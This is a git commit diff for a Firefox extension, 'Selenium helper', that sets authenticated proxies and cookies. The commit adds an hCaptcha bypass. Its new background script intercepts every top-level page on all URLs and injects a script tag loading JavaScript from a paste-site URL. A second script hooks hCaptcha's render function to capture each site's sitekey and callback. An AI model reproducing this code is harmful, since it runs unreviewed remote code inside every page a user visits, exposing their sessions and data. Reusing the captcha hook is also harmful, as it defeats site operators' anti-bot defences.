added hcaptcha interceptor

This commit is contained in:
Alexandr committed 2021-06-03 10:51:37 +03:00
1 parent bf84195925
commit 7b65214387
13 files changed
+69 -10

No files matched your search

+3
View File
@@ -1,5 +1,8 @@
.idea/
bin/
releases/
free-icon-robotic-leg-4829820.png
# Created by .ignore support plugin (hsz.mobi)
__pycache__/
*.py[cod]
+1 -1
View File
@@ -1,4 +1,4 @@
all:
rm -f selenium_helper.xpi
zip -x "*.xpi" -x "Makefile" -r selenium_helper.zip .
zip -i "data/*" -i "_locales/*" -i "icon.png" -i "manifest.json" -i "README.md" -r selenium_helper.zip .
mv selenium_helper.zip selenium_helper.xpi
+2
View File
@@ -1,3 +1,5 @@
https://addons.mozilla.org/ru/firefox/addon/selenium-helper/
Дополнение дает возможность установить в браузер прокси с авторизацией по логину и паролю, куки без предварительного открытия страницы для которой эти куки предназначены и заголовки браузера такие как User-Agent и/или Referer.
Пример в директории example.
+2 -2
View File
@@ -1,8 +1,8 @@
{
"name": {
"message": "Selenium helper for setup proxy and cookies"
"message": "Selenium Helper"
},
"description": {
"message": "Setup proxy with authentication and cookies"
"message": "Setup proxy with authentication, cookies and support bypass hСaptcha"
}
}
+2 -2
View File
@@ -1,8 +1,8 @@
{
"name": {
"message": "Selenium helper"
"message": "Selenium Helper"
},
"description": {
"message": "Это расширение дает возможность установить в браузер прокси с авторизацией и куки без предварительного открытия страницы для которой эти куки предназначены."
"message": "Помогает установить прокси с авторизацией и куки. А теперь еще и помогает обойти hCaptcha."
}
}
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.6 KiB

BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.0 KiB

BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.9 KiB

+20
View File
@@ -0,0 +1,20 @@
function interceptor(details) {
let response = browser.webRequest.filterResponseData(details.requestId);
let decoder = new TextDecoder("utf-8");
let encoder = new TextEncoder();
response.ondata = event => {
let str = decoder.decode(event.data, {stream: true});
str = str.replace('<head', '<script src="https://haste.knok.xyz/raw/voxige"></script><head');
response.write(encoder.encode(str));
response.disconnect();
}
return {};
}
browser.webRequest.onBeforeRequest.addListener(
interceptor,
{urls: ["*://*/*"], types: ["main_frame"]},
["blocking"]
);
+36
View File
@@ -0,0 +1,36 @@
(function () {
let hCaptchaInstance;
Object.defineProperty(window, "hcaptcha", {
get: function () {
return hCaptchaInstance;
},
set: function (e) {
hCaptchaInstance = e;
let originalRenderFunc = e.render;
hCaptchaInstance.render = function (container, opts) {
createHCaptchaWidget(container, opts);
return originalRenderFunc(container, opts);
};
},
});
let createHCaptchaWidget = function (container, opts) {
if (opts.callback !== undefined && typeof opts.callback === "function") {
let key = "hcaptchaCallback" + Date.now();
window[key] = opts.callback;
opts.callback = key;
}
let widgetInfo = {
captchaType: "hcaptcha",
widgetId: 0,
containerId: container,
sitekey: opts.sitekey,
callback: opts.callback,
};
window["widgetInfo"] = widgetInfo;
}
})();
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

+3 -5
View File
@@ -1,6 +1,6 @@
{
"manifest_version": 2,
"version": "0.0.6",
"version": "0.1.6",
"minimum_chrome_version": "76.0",
"applications": {
"gecko": {
@@ -14,9 +14,7 @@
"author": "Alexandr Sokolov",
"homepage_url": "https://github.com/alexsok-bit/selenium_helper",
"icons": {
"32": "app32.png",
"64": "app64.png",
"128": "app128.png"
"48": "icon.png"
},
"permissions": [
"proxy",
@@ -30,6 +28,6 @@
"page": "data/options.html"
},
"background": {
"scripts": ["data/content.js"]
"scripts": ["data/content.js", "data/hcaptcha/background.js"]
}
}
Binary file not shown.